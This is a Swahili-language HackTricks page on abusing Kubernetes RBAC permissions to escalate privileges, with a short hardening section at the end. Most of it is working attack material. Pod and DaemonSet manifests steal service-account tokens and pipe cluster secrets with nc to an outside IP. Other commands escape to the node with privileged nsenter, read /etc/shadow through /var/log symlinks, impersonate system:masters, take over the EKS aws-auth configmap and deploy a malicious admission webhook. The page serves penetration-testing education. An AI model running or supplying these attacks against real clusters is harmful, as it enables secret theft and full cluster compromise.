Swahili - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Abusing Roles/ClusterRoles in Kubernetes

Support HackTricks

Hapa unaweza kupata mipangilio ya Majukumu na ClusterRoles inayoweza kuwa hatari. Kumbuka unaweza kupata rasilimali zote zinazoungwa mkono kwa kutumia kubectl api-resources

Kupandisha Hadhi

Inahusu sanaa ya kupata upatikanaji wa mamlaka tofauti ndani ya kikundi na mamlaka tofauti (ndani ya kikundi cha kubernetes au kwenye mawingu ya nje) kuliko zile unazo tayari, katika Kubernetes kuna msingi wa njia 4 kuu za kupandisha hadhi:

  • Kuweza kujifanya mtumiaji/makundi/SAs wengine wenye mamlaka bora ndani ya kikundi cha kubernetes au kwenye mawingu ya nje

  • Kuweza kuunda/kusahihisha/kuendesha podi ambapo unaweza kupata au kuambatanisha SAs wenye mamlaka bora ndani ya kikundi cha kubernetes au kwenye mawingu ya nje

  • Kuweza kusoma siri kwani vitambulisho vya SAs vinahifadhiwa kama siri

  • Kuweza kutoroka kwenye node kutoka kwa kontena, ambapo unaweza kuiba siri zote za kontena zinazoendeshwa kwenye node, vyeti vya node, na ruhusa za node ndani ya wingu inayoendeshwa (ikiwapo ipo)

  • Njia ya tano inayostahili kutajwa ni uwezo wa kutekeleza port-forward kwenye podi, kwani unaweza kupata rasilimali za kuvutia ndani ya podi hiyo.

Kupata Rasilimali au Kitendo chochote (Wildcard)

Wildcard (*) inatoa idhini juu ya rasilimali yoyote na kitendo chochote. Hutumiwa na wasimamizi. Ndani ya ClusterRole hii inamaanisha kwamba mshambuliaji anaweza kutumia nafasi yoyote katika kikundi

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Pata Upatikanaji wa Rasilimali Yoyote na kitenzi maalum

Katika RBAC, idhini fulani zinaleta hatari kubwa:

  1. create: Inatoa uwezo wa kuunda rasilimali yoyote ya kikundi, ikileta hatari ya uongezaji wa mamlaka.

  2. list: Inaruhusu orodha ya rasilimali zote, ikitoa uwezekano wa kuvuja kwa data nyeti.

  3. get: Inaruhusu kupata siri kutoka kwa akaunti za huduma, ikileta tishio la usalama.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Kujenga Podi - Kuiba Kitufe

Mshambuliaji mwenye ruhusa ya kujenga podi, anaweza kuambatanisha Akaunti ya Huduma yenye mamlaka ndani ya podi na kuiba kitufe ili kujifanya kuwa Akaunti ya Huduma. Kimsingi kuongeza mamlaka kwake

Mfano wa podi ambayo itaiba kitufe cha akaunti ya huduma ya bootstrap-signer na kukituma kwa mshambuliaji:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Kujenga & Kutoroka Pod

Yafuatayo inaonyesha mamlaka yote ambayo chombo kinaweza kuwa nacho:

  • Upatikanaji wa haki maalum (kulemaza ulinzi na kuweka uwezo)

  • Lemaza majina ya nafasi hostIPC na hostPid ambayo inaweza kusaidia kuinua mamlaka

  • Lemaza nafasi ya hostNetwork, ikitoa ufikiaji wa kuiba mamlaka ya wingu la nodes na ufikiaji bora wa mitandao

  • Funga / ya wenyeji ndani ya chombo

apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Unda podi na:

kubectl --token $token create -f mount_root.yaml

Mstari mmoja kutoka uandishi huu na pamoja na baadhi ya marekebisho:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Sasa unaweza kutoroka kwa mbinu za post-exploitation kwenye node:

Kujificha

Labda unataka kuwa mwenye kujificha zaidi, kwenye kurasa zifuatazo unaweza kuona unachoweza kupata ufikiaji ikiwa utaunda pod ukiwezesha baadhi ya mamlaka zilizotajwa katika templeti iliyotangulia:

  • Mamlaka + hostPID

  • Mamlaka pekee

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Unaweza kupata mfano wa jinsi ya kuunda/kutumia mazingira ya pods yenye mamlaka ya awali katika https://github.com/BishopFox/badPods

Kuunda Pod - Hamia kwenye wingu

Ikiwa unaweza kuunda pod (na hiari akaunti ya huduma) unaweza kuwa na uwezo wa kupata mamlaka katika mazingira ya wingu kwa kutenga majukumu ya wingu kwa pod au akaunti ya huduma na kisha kufikia. Zaidi ya hayo, ikiwa unaweza kuunda pod na nafasi ya mtandao wa mwenyeji unaweza kuiba jukumu la IAM la mfano wa node.

Kwa maelezo zaidi angalia:

Pod Escape Privileges

Kuunda/Kurekebisha Upelekaji, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs na Cronjobs

Inawezekana kutumia vibali hivi kwa kuunda pod mpya na kudanganya mamlaka kama katika mfano uliotangulia.

Yaml ifuatayo inaunda daemonset na kufichua token ya SA ndani ya pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Kutekeleza Pods

pods/exec ni rasilimali katika kubernetes inayotumika kwa kutekeleza amri katika kifuniko ndani ya podi. Hii inaruhusu kutekeleza amri ndani ya vyombo au kupata kifuniko ndani.

Hivyo basi, ni fasihi kuingia ndani ya podi na kuiba tokeni ya SA, au kuingia katika podi yenye mamlaka, kutoroka kwenye node, na kuiba tokeni zote za podi kwenye node na (ku)abusa node:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Haki hii inaruhusu kupeleka bandari moja ya ndani kwenda kwa bandari moja kwenye pod iliyotajwa. Hii inalenga kuwezesha kutatua matatizo ya programu zinazoendeshwa ndani ya pod kwa urahisi, lakini mshambuliaji anaweza kuitumia vibaya kupata ufikivu wa programu zenye umuhimu (kama DBs) au zilizo na mapungufu (mitandao?) ndani ya pod:

kubectl port-forward pod/mypod 5000:5000

Weka wa Mwenyeji /var/log/ Kutoroka

Kama ilivyo onyeshwa katika utafiti huu, ikiwa unaweza kupata au kuunda podi na hosts /var/log/ directory imemount ndani yake, unaweza kutoroka kutoka kwenye kontena. Hii ni kimsingi kwa sababu wakati Kube-API inajaribu kupata logs ya kontena (ikitumia kubectl logs <pod>), ina omba faili ya 0.log ya podi kwa kutumia endpoint ya /logs/ ya huduma ya Kubelet. Huduma ya Kubelet inafunua endpoint ya /logs/ ambayo kimsingi ni kufunua mfumo wa faili wa /var/log wa kontena.

Hivyo, mshambuliaji mwenye upatikanaji wa kuandika kwenye folda ya /var/log/ ya kontena anaweza kutumia tabia hizi kwa njia 2:

  • Kubadilisha faili ya 0.log ya kontena yake (kawaida iko katika /var/logs/pods/namespace_pod_uid/container/0.log) iwe symlink inayoashiria /etc/shadow kwa mfano. Kisha, utaweza kuchukua faili ya kivuli ya mwenyeji kwa kufanya:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file

  • Ikiwa mshambuliaji ana udhibiti wa msingi wowote wenye ruhusa ya kusoma nodes/log, anaweza tu kuunda symlink katika /host-mounted/var/log/sym kwenda / na wakati akipata https://<gateway>:10250/logs/sym/ atapata orodha ya mfumo wa mizizi wa mwenyeji (kubadilisha symlink inaweza kutoa ufikiaji wa faili).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Maabara na shambulizi lililoautomatiki linaweza kupatikana katika https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Kupitisha ulinzi wa readOnly

Ikiwa una bahati ya kutosha na uwezo wa kipekee wa CAP_SYS_ADMIN upo, unaweza tu kurejesha upya folda kama rw:

mount -o rw,remount /hostlogs/

Kupita kinga ya kusoma tu ya hostPath

Kama ilivyoelezwa katika utafiti huu ni rahisi kupita kinga:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Kile kilimaanisha kuzuia kutoroka kama vile za awali kwa badala ya kutumia kifungu cha hostPath, tumia PersistentVolume na PersistentVolumeClaim kuunganisha folda za mwenyeji kwenye chombo na ufikiaji wa kuandika:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Kujifanya kuwa akaunti zenye mamlaka

Kwa ujifanya kuwa mtumiaji mamlaka, mkaidi anaweza kujifanya kuwa akaunti yenye mamlaka.

Tumia parameter --as=<jina_la_mtumiaji> katika amri ya kubectl kujifanya kuwa mtumiaji, au --as-group=<kundi> kujifanya kuwa kundi:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Au tumia REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Orodha ya Siri

Ruhusa ya kuorodhesha siri inaweza kuruhusu mshambuliaji kusoma siri kwa kupata mwisho wa REST API:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Kusoma siri - kufanya nguvu kwa token IDs

Wakati mshambuliaji mwenye kitambulisho chenye ruhusa ya kusoma anahitaji jina sahihi la siri ili kuitumia, tofauti na ruhusa pana ya kutaja siri, bado kuna udhaifu. Akaunti za huduma za msingi katika mfumo zinaweza kuhesabiwa, kila moja ikihusishwa na siri. Siri hizi zina muundo wa jina: kipimo cha msingi kifuatiwacho na token la herufi tano za nambari na herufi (isipokuwa herufi fulani) kulingana na msimbo wa chanzo.

Token hutengenezwa kutoka kwa seti iliyopunguzwa ya herufi 27 (bcdfghjklmnpqrstvwxz2456789), badala ya safu kamili ya nambari na herufi. Kikomo hiki hupunguza jumla ya mchanganyiko uwezekanao hadi 14,348,907 (27^5). Kwa hivyo, mshambuliaji anaweza kutekeleza shambulio la nguvu kwa urahisi kudokeza token katika masaa machache, ikisababisha ukuaji wa ruhusa kwa kupata akaunti nyeti za huduma.

Maombi ya Kusaini Cheti

Ikiwa una vitenzi umba katika rasilimali certificatesigningrequests (au angalau katika certificatesigningrequests/nodeClient). Unaweza kuunda CeSR mpya ya node mpya.

Kulingana na nyaraka inawezekana kuidhinisha maombi haya moja kwa moja, hivyo katika kesi hiyo hauitaji ruhusa ziada. Vinginevyo, utahitaji kuweza kuidhinisha ombi, ambalo linamaanisha kusasisha katika certificatesigningrequests/approval na idhinisha katika signers na jina la rasilimali <signerNameDomain>/<signerNamePath> au <signerNameDomain>/*

Mfano wa jukumu lenye ruhusa zote zinazohitajika ni:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Kwa hivyo, na CSR mpya ya node ikiridhishwa, unaweza kutumia vibaya ruhusa maalum za nodes ili kuiba siri na kupandisha viwango vya ruhusa.

Katika chapisho hili na hili lingine usanidi wa GKE K8s TLS Bootstrap umesanidiwa na kuidhinisha moja kwa moja na kutumika kuzalisha sifa za Node mpya ya K8s na kisha kutumia hizo kwa kupandisha viwango vya ruhusa kwa kuiba siri. Ikiwa una ruhusa zilizotajwa unaweza kufanya kitu kama hicho. Tafadhali elewa kuwa mfano wa kwanza unapuuza kosa linalozuia node mpya kupata siri ndani ya vyombo kwa sababu node inaweza tu kupata siri za vyombo vilivyowekwa kwenye node hiyo.

Njia ya kuipuuza hii ni tu kuunda sifa za node kwa jina la node ambapo chombo chenye siri za kuvutia kimeunganishwa ( lakini angalia jinsi ya kufanya hivyo katika chapisho la kwanza):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Washiriki ambao wanaweza kuhariri configmaps katika nafasi ya kube-system kwenye mizizi ya EKS (inahitaji kuwa kwenye AWS) wanaweza kupata mamlaka ya msimamizi wa mizizi kwa kubadilisha aws-auth configmap. Vibambo vinavyohitajika ni update na patch, au create ikiwa configmap haikuundwa:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Unaweza kutumia aws-auth kwa uthabiti kumpa mtumiaji kutoka akaunti nyingine.

Hata hivyo, aws --profile other_account eks update-kubeconfig --name <cluster-name> haitafanya kazi kutoka kwenye akaunti tofauti. Lakini kwa kweli aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing inafanya kazi ikiwa utaweka ARN ya kikundi badala ya jina tu. Ili kufanya kubectl ifanye kazi, hakikisha tu umeweka vipimo vya kubeconfig vya waathiriwa na katika vipimo vya aws exec ongeza --profile other_account_role ili kubectl itumie wasifu wa akaunti nyingine kupata token na kuwasiliana na AWS.

Kuongeza Mamlaka katika GKE

Kuna njia 2 za kutoa ruhusa za K8s kwa mawakala wa GCP. Katika kila kesi, mawakala pia wanahitaji ruhusa ya container.clusters.get ili waweze kukusanya vyeti vya kupata kikundi, au utahitaji kuunda faili yako ya usanidi wa kubectl (fuata kiungo kifuatacho).

Unapozungumza na kituo cha api cha K8s, kitambulisho cha GCP kitatumwa. Kisha, GCP, kupitia kituo cha api cha K8s, kwanza itaangalia kama mawakala (kwa barua pepe) ana ufikiaji wowote ndani ya kikundi, kisha itaangalia kama ana ufikiaji wowote kupitia GCP IAM. Ikiwa mojawapo ya hizo ni kweli, atajibiwa. Ikiwa sivyo, kosa linalopendekeza kutoa ruhusa kupitia GCP IAM litatolewa.

Kisha, njia ya kwanza ni kutumia GCP IAM, ruhusa za K8s zina ruhusa sawa za GCP IAM, na ikiwa mawakala anazo, ataweza kuzitumia.

GCP - Container Privesc

Njia ya pili ni kutoa ruhusa za K8s ndani ya kikundi kwa kutambua mtumiaji kwa barua pepe yake (akaunti za huduma za GCP pia zimejumuishwa).

Unda kitambulisho cha huduma ya token

Mawakala wanaoweza kuunda Maombi ya Alama (serviceaccounts/token) Wanapozungumza na kituo cha api cha K8s SAs (habari kutoka hapa).

ephemeralcontainers

Mawakala wanaoweza kuboresha au kupatch pods/ephemeralcontainers wanaweza kupata utekelezaji wa nambari kwenye podi zingine, na kwa uwezekano kuvunja kwenye nodi yao kwa kuongeza chombo cha muda mfupi na muktadha wa usalama uliopewa ruhusa

ValidatingWebhookConfigurations au MutatingWebhookConfigurations

Mawakala wenye mojawapo ya vitenzi umba, sasisha au patch juu ya validatingwebhookconfigurations au mutatingwebhookconfigurations wanaweza kuunda mojawapo ya webhookconfigurations ili kuweza kuongeza mamlaka.

Kwa mfano wa mutatingwebhookconfigurations angalia sehemu hii ya chapisho hili.

Kuongeza

Kama unavyoweza kusoma katika sehemu ifuatayo: Kuzuia Kuongezeka kwa Mamlaka Imejengwa, mawakala hawezi kusasisha wala kuunda majukumu au majukumu ya kikundi bila kuwa na ruhusa mpya. Isipokuwa ikiwa ana kitenzi kuongeza juu ya majukumu au majukumu ya kikundi. Kisha anaweza kusasisha/kujenga majukumu mapya, majukumu ya kikundi na ruhusa bora kuliko zile alizo nazo.

Nodes proxy

Mawakala wenye ufikiaji wa nodes/proxy subresource wanaweza kutekeleza nambari kwenye podi kupitia API ya Kubelet (kulingana na hii). Taarifa zaidi kuhusu uthibitishaji wa Kubelet katika ukurasa huu:

Kubelet Authentication & Authorization

Unayo mfano wa jinsi ya kupata RCE ukiwa umethibitishwa kwa API ya Kubelet hapa.

Futa podi + nodes zisizoweza kuhudumiwa

Mawakala wanaoweza kufuta podi (futa kitenzi juu ya rasilimali ya pods), au kufukuza podi (umba kitenzi juu ya rasilimali ya pods/eviction), au badilisha hali ya podi (ufikiaji wa pods/status) na wanaweza kufanya nodes zingine zisizoweza kuhudumiwa (ufikiaji wa nodes/status) au kufuta nodes (futa kitenzi juu ya rasilimali ya nodes) na wana udhibiti juu ya podi, wanaweza kuiba podi kutoka kwenye nodes zingine ili ziwe zinatekelezwa kwenye nodi iliyoharibiwa na mkaidi anaweza kuiba vibali kutoka kwa podi hizo.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Hali ya Huduma (CVE-2020-8554)

Wahusika wanaoweza kurekebisha huduma/hali wanaweza kuweka uga wa status.loadBalancer.ingress.ip kutumia CVE-2020-8554 isiyosahihishwa na kuanzisha mashambulizi ya MiTM dhidi ya kikundi. Hatua nyingi za kupunguza hatari za CVE-2020-8554 zinazuia huduma za ExternalIP tu (kulingana na hii).

Hali za Nodes na Pods

Wahusika wenye ruhusa za sasisha au patch juu ya nodes/hali au pods/hali, wanaweza kurekebisha lebo ili kuathiri vikwazo vya upangaji vilivyowekwa.

Kuzuia Kupandishwa Hadhi kwa Mamlaka Imejengwa

Kubernetes ina mfumo uliojengwa wa kuzuia kupandishwa kwa mamlaka.

Mfumo huu huhakikisha kwamba watumiaji hawawezi kuinua mamlaka yao kwa kurekebisha majukumu au vifungo vya majukumu. Utekelezaji wa kizuizi hiki hufanyika kwenye kiwango cha API, kutoa kinga hata wakati msanidi wa RBAC hajafanya kazi.

Kizuizi hicho kinaeleza kwamba mtumiaji anaweza tu kuunda au kusasisha jukumu ikiwa wanamiliki ruhusa zote zinazojumuisha jukumu hilo. Zaidi ya hayo, wigo wa ruhusa za sasa za mtumiaji lazima lingane na ule wa jukumu wanajaribu kuunda au kurekebisha: ama kwa kiwango cha kikundi kwa ClusterRoles au imefungwa kwa eneo moja (au kwa kiwango cha kikundi) kwa Majukumu.

Kuna ubaguzi kwa kizuizi cha awali. Ikiwa muhimu ana kitenzi pandisha juu ya majukumu au majukumu ya kikundi anaweza kuongeza mamlaka ya majukumu na majukumu ya kikundi hata bila kuwa na ruhusa mwenyewe.

Pata & Sasisha Vifungo vya Majukumu/Majukumu ya Kikundi

Inavyoonekana hii mbinu ilifanya kazi hapo awali, lakini kulingana na majaribio yangu sasa haifanyi kazi tena kwa sababu ile ile iliyoelezwa katika sehemu iliyotangulia. Huwezi kuunda/kurekebisha kifungo cha jukumu kumpa wewe mwenyewe au SA tofauti baadhi ya ruhusa ikiwa huna tayari.

Ruhusa ya kuunda Vifungo vya Majukumu inaruhusu mtumiaji kufunga majukumu kwa akaunti ya huduma. Ruhusa hii inaweza kusababisha kupandishwa kwa mamlaka kwa sababu inamruhusu mtumiaji kufunga ruhusa za msimamizi kwa akaunti ya huduma iliyoharibiwa.

Mashambulizi Mengine

Programu ya kivinjari cha upande

Kwa chaguo-msingi hakuna usimbaji katika mawasiliano kati ya makodsi. Uthibitisho wa pande mbili, podi hadi podi.

Unda programu ya kivinjari cha upande

Unda yako .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Hariri faili yako .yaml na ongeza mistari isiyokuwa imefafanuliwa:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Angalia kumbukumbu za proxi:

kubectl logs app -C proxy

Maelezo zaidi katika: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Msimamizi wa Udhibiti wa Madhara

Msimamizi wa udhibiti wa madhara huzuia maombi kwa seva ya API ya Kubernetes kabla ya kudumu kwa kitu, lakini baada ya ombi kuthibitishwa na kuruhusiwa.

Ikiwa mshambuliaji kwa namna fulani anafanikiwa kuingiza Msimamizi wa Udhibiti wa Kugeuza, ataweza kurekebisha maombi yaliyothibitishwa tayari. Kwa kuwa na uwezo wa privesc, na mara nyingi kudumu katika kikundi.

Mfano kutoka https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Angalia hali ili uone ikiwa iko tayari:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Kisha tengeneza podi mpya:

kubectl run nginx --image nginx
kubectl get po -w

Wakati unapoona kosa la ErrImagePull, angalia jina la picha kwa kutumia mojawapo ya maswali yafuatayo:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Kama unavyoweza kuona kwenye picha hapo juu, tulijaribu kukimbia picha ya nginx lakini picha iliyotekelezwa mwishowe ni rewanthtammana/malicious-image. Kilichotokea!!

Technicalities

Skripti ./deploy.sh inaanzisha kudhibiti kibali cha kuingiza kibali, ambacho hubadilisha maombi kwa API ya Kubernetes kama ilivyoelezwa katika mistari yake ya usanidi, ikichochea matokeo yaliyoonekana:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Kuchukua Nafasi ya Picha ya Kwanza katika Kila Kikasha na rewanthtammana/malicious-image.

Kupita kwa OPA Gatekeeper

Kubernetes - OPA Gatekeeper bypass

Mbinu Bora

Kulemaza Automount ya Vitambulisho vya Akaunti ya Huduma

  • Kikasha na Akaunti za Huduma: Kwa chaguo-msingi, kikasha huchukua kibali cha akaunti ya huduma. Ili kuboresha usalama, Kubernetes inaruhusu kulemaza kipengele hiki cha automount.

  • Jinsi ya Kutumia: Weka automountServiceAccountToken: false katika usanidi wa akaunti za huduma au kikasha kuanzia toleo la Kubernetes 1.6.

Kuwazuia Uteuzi wa Mtumiaji katika RoleBindings/ClusterRoleBindings

  • Kuingiza kwa Hiari: Hakikisha kuwa watumiaji muhimu pekee wamejumuishwa katika RoleBindings au ClusterRoleBindings. Fanya ukaguzi mara kwa mara na ondoa watumiaji wasiohusika ili kudumisha usalama thabiti.

Vitu vya Nafasi vya Jina la Kikasha Badala ya Vitu vya Nafasi vya Kikasha Kote

  • Vitu vs. Vitu vya Kikasha: Penda kutumia Vitu na RoleBindings kwa ruhusa za nafasi za jina la kikasha badala ya Vitu vya Kikasha na ClusterRoleBindings, ambavyo hutekelezwa kote kwenye kikasha. Mbinu hii hutoa udhibiti bora na kikomo cha ruhusa.

Tumia zana za kiotomatiki

Vyanzo

unga mkono HackTricks
PreviousKubernetes Role-Based Access Control(RBAC)NextPod Escape Privileges

Last updated